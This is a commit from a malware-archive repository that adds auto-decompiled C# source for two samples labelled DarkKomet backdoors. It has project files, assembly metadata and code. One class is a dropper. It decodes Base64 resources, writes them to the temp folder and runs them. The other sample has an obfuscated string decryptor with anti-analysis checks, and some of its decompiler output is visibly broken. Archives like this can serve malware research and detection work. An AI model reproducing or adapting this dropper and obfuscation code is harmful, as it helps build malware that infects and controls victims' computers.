auto-decompiled msil via petikvx

add
This commit is contained in:
vxunderground
2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions
@@ -0,0 +1,10 @@
using System.Reflection;
[assembly: AssemblyCompany("4Hh8j6lkmja")]
[assembly: AssemblyProduct("161324UVgNR")]
[assembly: AssemblyDescription("i1y14aP22")]
[assembly: AssemblyTitle("lE2wT5d2")]
[assembly: AssemblyCopyright("83E8u3Vi")]
[assembly: AssemblyFileVersion("6.5.8.5")]
[assembly: AssemblyTrademark("C2o4321p")]
[assembly: AssemblyVersion("3.8.5.2")]
@@ -0,0 +1,47 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>zizoppo</AssemblyName>
<ApplicationVersion>3.8.5.2</ApplicationVersion>
<RootNamespace>My</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="Hallo.cs" />
<Compile Include="MyApplication.cs" />
<Compile Include="MyComputer.cs" />
<Compile Include="MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="D54D561D.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "zizoppo", "Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.csproj", "{1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1A93D3B0-9632-49FA-9D5A-FDD09E01D3B7}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,49 @@
// Decompiled with JetBrains decompiler
// Type: Hallo
// Assembly: zizoppo, Version=3.8.5.2, Culture=neutral, PublicKeyToken=null
// MVID: 776D0F53-66DC-4E83-8E1F-AD5C9AC6BB88
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Reflection;
using System.Resources;
[StandardModule]
internal sealed class Hallo
{
[STAThread]
public static void Main()
{
ResourceManager resourceManager = new ResourceManager("D54D561D", Assembly.GetExecutingAssembly());
object resourceSet = (object) resourceManager.GetResourceSet(CultureInfo.CurrentCulture, true, true);
try
{
foreach (object obj in (IEnumerable) resourceSet)
{
DictionaryEntry dictionaryEntry1;
DictionaryEntry dictionaryEntry2 = obj != null ? (DictionaryEntry) obj : dictionaryEntry1;
int offset = 0;
byte[] array = Convert.FromBase64String(Conversions.ToString(resourceManager.GetObject(Conversions.ToString(dictionaryEntry2.Key))));
FileStream fileStream = new FileStream(Conversions.ToString(Operators.ConcatenateObject((object) Path.GetTempPath(), dictionaryEntry2.Key)), FileMode.Create);
int length = array.Length;
fileStream.Write(array, offset, length);
fileStream.Close();
NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1]
{
Operators.ConcatenateObject((object) Path.GetTempPath(), dictionaryEntry2.Key)
}, (string[]) null, (Type[]) null, (bool[]) null, true);
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
(enumerator as IDisposable).Dispose();
}
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: zizoppo, Version=3.8.5.2, Culture=neutral, PublicKeyToken=null
// MVID: 776D0F53-66DC-4E83-8E1F-AD5C9AC6BB88
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : ApplicationBase
{
}
}
@@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: zizoppo, Version=3.8.5.2, Culture=neutral, PublicKeyToken=null
// MVID: 776D0F53-66DC-4E83-8E1F-AD5C9AC6BB88
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}
@@ -0,0 +1,108 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: zizoppo, Version=3.8.5.2, Culture=neutral, PublicKeyToken=null
// MVID: 776D0F53-66DC-4E83-8E1F-AD5C9AC6BB88
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[HideModuleName]
[StandardModule]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}
@@ -0,0 +1,15 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[assembly: AssemblyDescription("")]
[assembly: AssemblyTitle("10-June")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyTrademark("")]
[assembly: Guid("f1dbb7b3-5c9b-4ea1-8639-50f9fe1e523f")]
[assembly: ComVisible(false)]
[assembly: AssemblyProduct("10-June")]
[assembly: AssemblyCopyright("Copyright © 2011")]
[assembly: SuppressIldasm]
[assembly: AssemblyCompany("")]
[assembly: AssemblyVersion("1.0.0.0")]
@@ -0,0 +1,53 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>10-June</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="_0002.cs" />
<Compile Include="_0003.cs" />
<Compile Include="_0005.cs" />
<Compile Include="_0006.cs" />
<Compile Include="_0008.cs" />
<Compile Include="_000E.cs" />
<Compile Include="_000F.cs" />
<Compile Include="_10_June\Form1.cs" />
<Compile Include="_10_June\My\MySettings.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="" />
<EmbeddedResource Include="_10_June\Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "10-June", "Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.csproj", "{429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}.Debug|Any CPU.Build.0 = Debug|Any CPU
{429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}.Release|Any CPU.ActiveCfg = Release|Any CPU
{429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,45 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2713F504-3EB6-448B-931C-99CD142737FF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe
using Microsoft.VisualBasic.ApplicationServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Windows.Forms;
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class \u0002 : WindowsFormsApplicationBase
{
[DebuggerStepThrough]
public \u0002()
: base(AuthenticationMode.Windows)
{
this.IsSingleInstance = false;
this.EnableVisualStyles = true;
this.SaveMySettingsOnExit = true;
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
[STAThread]
[DebuggerHidden]
internal static void \u0002(string[] _param0)
{
try
{
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
}
finally
{
}
\u0005.\u0002().Run(_param0);
}
[DebuggerStepThrough]
protected override void OnCreateMainForm() => this.MainForm = (Form) \u0005.\u0002().\u0002();
}
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2713F504-3EB6-448B-931C-99CD142737FF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class \u0003 : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public \u0003()
{
}
}
@@ -0,0 +1,195 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2713F504-3EB6-448B-931C-99CD142737FF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe
using _10_June;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[StandardModule]
[HideModuleName]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class \u0005
{
private static readonly \u0005.\u0005<\u0003> \u0002 = new \u0005.\u0005<\u0003>();
private static readonly \u0005.\u0005<\u0002> \u0003 = new \u0005.\u0005<\u0002>();
private static readonly \u0005.\u0005<User> \u0005 = new \u0005.\u0005<User>();
private static \u0005.\u0005<\u0005.\u0002> \u0008 = new \u0005.\u0005<\u0005.\u0002>();
private static readonly \u0005.\u0005<\u0005.\u0003> \u0006 = new \u0005.\u0005<\u0005.\u0003>();
[DebuggerNonUserCode]
static \u0005()
{
}
[DebuggerHidden]
internal static \u0003 \u0002() => \u0005.\u0002.\u0002();
[DebuggerHidden]
internal static \u0002 \u0002() => \u0005.\u0003.\u0002();
[DebuggerHidden]
internal static User \u0002() => \u0005.\u0005.\u0002();
[DebuggerHidden]
internal static \u0005.\u0002 \u0002() => \u0005.\u0008.\u0002();
[DebuggerHidden]
internal static \u0005.\u0003 \u0002() => \u0005.\u0006.\u0002();
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
internal sealed class \u0002
{
public Form1 \u0002;
[ThreadStatic]
private static Hashtable \u0003;
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public \u0002()
{
}
[DebuggerNonUserCode]
public Form1 \u0002()
{
this.\u0002 = \u0005.\u0002.\u0002<Form1>(this.\u0002);
return this.\u0002;
}
[DebuggerNonUserCode]
public void \u0002(Form1 _param1)
{
if (_param1 == this.\u0002)
return;
if (_param1 != null)
throw new ArgumentException(\u000E.\u0002(759805957));
this.\u0003<Form1>(ref this.\u0002);
}
[DebuggerHidden]
private static T \u0002<T>(T _param0) where T : Form, new()
{
if ((object) _param0 != null && !_param0.IsDisposed)
return _param0;
if (\u0005.\u0002.\u0003 != null)
{
if (\u0005.\u0002.\u0003.ContainsKey((object) typeof (T)))
throw new InvalidOperationException(Utils.GetResourceString(\u000E.\u0002(759805999)));
}
else
\u0005.\u0002.\u0003 = new Hashtable();
\u0005.\u0002.\u0003.Add((object) typeof (T), (object) null);
try
{
return new T();
}
catch (TargetInvocationException ex) when (
{
// ISSUE: unable to correctly present filter
ProjectData.SetProjectError((Exception) ex);
if (ex.InnerException != null)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
throw new InvalidOperationException(Utils.GetResourceString(\u000E.\u0002(759806032), ex.InnerException.Message), ex.InnerException);
}
finally
{
\u0005.\u0002.\u0003.Remove((object) typeof (T));
}
}
[DebuggerHidden]
private void \u0003<T>(ref T _param1) where T : Form
{
_param1.Dispose();
_param1 = default (T);
}
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
internal System.Type \u0002() => typeof (\u0005.\u0002);
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class \u0003
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public \u0003()
{
}
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal System.Type \u0002() => typeof (\u0005.\u0003);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T \u0002<T>(T _param0) where T : new() => (object) _param0 == null ? new T() : _param0;
[DebuggerHidden]
private void \u0003<T>(ref T _param1) => _param1 = default (T);
}
[EditorBrowsable(EditorBrowsableState.Never)]
[ComVisible(false)]
internal sealed class \u0005<\u0002> where \u0002 : new()
{
[ThreadStatic]
private static \u0002 \u0002;
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public \u0005()
{
}
[DebuggerHidden]
internal \u0002 \u0002()
{
if ((object) \u0005.\u0005<\u0002>.\u0002 == null)
\u0005.\u0005<\u0002>.\u0002 = new \u0002();
return \u0005.\u0005<\u0002>.\u0002;
}
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2713F504-3EB6-448B-931C-99CD142737FF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe
using _10_June.My;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.Diagnostics;
[DebuggerNonUserCode]
[HideModuleName]
[StandardModule]
internal sealed class \u0006
{
internal static MySettings \u0002() => MySettings.Default;
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2713F504-3EB6-448B-931C-99CD142737FF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.CodeDom.Compiler;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
[StandardModule]
[HideModuleName]
[DebuggerNonUserCode]
internal sealed class \u0008
{
private static ResourceManager \u0002;
private static CultureInfo \u0003;
internal static ResourceManager \u0002()
{
if (object.ReferenceEquals((object) \u0008.\u0002, (object) null))
\u0008.\u0002 = new ResourceManager(\u000E.\u0002(759806128), typeof (\u0008).Assembly);
return \u0008.\u0002;
}
internal static CultureInfo \u0002() => \u0008.\u0003;
internal static void \u0002(CultureInfo _param0) => \u0008.\u0003 = _param0;
}
@@ -0,0 +1,191 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2713F504-3EB6-448B-931C-99CD142737FF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
internal static class \u000E
{
private static readonly Dictionary<int, string> \u0002 = new Dictionary<int, string>(6);
private static BinaryReader \u0003;
private static byte[] \u0005;
private static short \u0008;
private static int \u0006;
private static byte[] \u000E;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string \u0002(int _param0)
{
lock (\u000E.\u0002)
{
string str1;
byte[] numArray1;
for (; !\u000E.\u0002.TryGetValue(_param0, out str1); _param0 = ((int) numArray1[2] | (int) numArray1[3] << 16 | (int) numArray1[0] << 8 | (int) numArray1[1] << 24) ^ -_param0)
{
if (\u000E.\u0003 == null)
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
Assembly.GetCallingAssembly();
\u000E.\u0006 = 1610370;
Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("\u200B");
int skipFrames = 1;
StackTrace stackTrace = new StackTrace(skipFrames, false);
\u000E.\u0006 ^= 6470 | skipFrames;
int index = skipFrames - 1;
StackFrame frame = stackTrace.GetFrame(index);
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
\u000E.\u0006 ^= index + 128;
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
if (frame == null)
\u000E.\u0006 ^= 219315;
bool flag = (object) type == (object) typeof (RuntimeMethodHandle);
\u000E.\u0006 ^= 160;
if (!flag)
{
flag = (object) type == null;
if (flag)
\u000E.\u0006 ^= 219283;
}
if (flag == (stackTrace != null))
\u000E.\u0006 ^= 32;
\u000E.\u0006 ^= 6502 | index + 1;
\u000E.\u0003 = new BinaryReader(manifestResourceStream);
short count = (short) ((int) \u000E.\u0003.ReadInt16() ^ (int) (short) (~--~~-~-~-1471310255 ^ 1471284911));
if (count == (short) 0)
\u000E.\u0008 = (short) ((int) \u000E.\u0003.ReadInt16() ^ (int) (short) ~-~--~~-~17028);
else
\u000E.\u0005 = \u000E.\u0003.ReadBytes((int) count);
Assembly assembly = executingAssembly;
AssemblyName assemblyName;
try
{
assemblyName = assembly.GetName();
}
catch
{
assemblyName = new AssemblyName(assembly.FullName);
}
\u000E.\u000E = assemblyName.GetPublicKeyToken();
if (\u000E.\u000E != null && \u000E.\u000E.Length == 0)
\u000E.\u000E = (byte[]) null;
\u000E.\u0006 = \u000E.\u0006 & 268435314 ^ 6788;
}
int num1 = _param0 ^ 759805953;
\u000E.\u0003.BaseStream.Position = (long) num1;
byte[] numArray2;
if (\u000E.\u0005 != null)
{
numArray2 = \u000E.\u0005;
}
else
{
short count = \u000E.\u0008 != (short) -1 ? \u000E.\u0008 : (short) ((int) \u000E.\u0003.ReadInt16() ^ -19352 ^ num1);
numArray2 = count != (short) 0 ? \u000E.\u0003.ReadBytes((int) count) : (byte[]) null;
}
int num2 = \u000E.\u0003.ReadInt32() ^ num1 ^ -~~--~~-~-~-904937009 ^ 1890831825;
if (num2 == -2)
{
numArray1 = \u000E.\u0003.ReadBytes(4);
_param0 = 1162081278;
}
else
{
bool flag1 = (num2 & int.MinValue) != 0;
bool flag2 = (num2 & 1073741824) != 0;
int count = num2 & 1073741823;
byte[] numArray3 = \u000F.\u0002(numArray2, \u000E.\u0003.ReadBytes(count));
if (\u000E.\u000E != null != (\u000E.\u0006 != 1607814))
{
for (int index = 0; index < count; ++index)
{
byte num3 = \u000E.\u000E[index & 7];
byte num4 = (byte) ((int) num3 << 3 | (int) num3 >> 5);
numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num4);
}
}
int num5 = \u000E.\u0006 - 12;
byte[] bytes;
int length;
if (!flag2)
{
bytes = numArray3;
length = count;
}
else
{
length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24;
bytes = new byte[length];
\u000E.\u0002(numArray3, 4, bytes);
}
string str2;
if (flag1 && num5 == 1607802)
{
char[] chArray = new char[length];
for (int index = 0; index < length; ++index)
chArray[index] = (char) bytes[index];
str2 = new string(chArray);
}
else
str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length);
int num6 = num5 + ((int) sbyte.MaxValue + (num5 & 3) << 5);
if (num6 != 1611930)
str2 = (_param0 + count ^ 936568 ^ num6 & 1293).ToString("X");
string str3 = string.Intern(str2);
\u000E.\u0002.Add(_param0, str3);
if (\u000E.\u0002.Count == 6)
{
\u000E.\u0003.Close();
\u000E.\u0003 = (BinaryReader) null;
\u000E.\u0005 = \u000E.\u000E = (byte[]) null;
}
return str3;
}
}
return str1;
}
}
private static int \u0002(byte[] _param0, int _param1, byte[] _param2)
{
int num1 = 0;
int num2 = 0;
int num3 = 128;
int length = _param2.Length;
label_9:
while (num1 < length)
{
if ((num3 <<= 1) == 256)
{
num3 = 1;
num2 = (int) _param0[_param1++];
}
if ((num2 & num3) != 0)
{
int num4 = ((int) _param0[_param1] >> 2) + 3;
int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023;
_param1 += 2;
int num6 = num1 - num5;
if (num6 < 0)
return -1;
while (true)
{
if (--num4 >= 0 && num1 < length)
_param2[num1++] = _param2[num6++];
else
goto label_9;
}
}
else
_param2[num1++] = _param0[_param1++];
}
return 0;
}
}
@@ -0,0 +1,31 @@
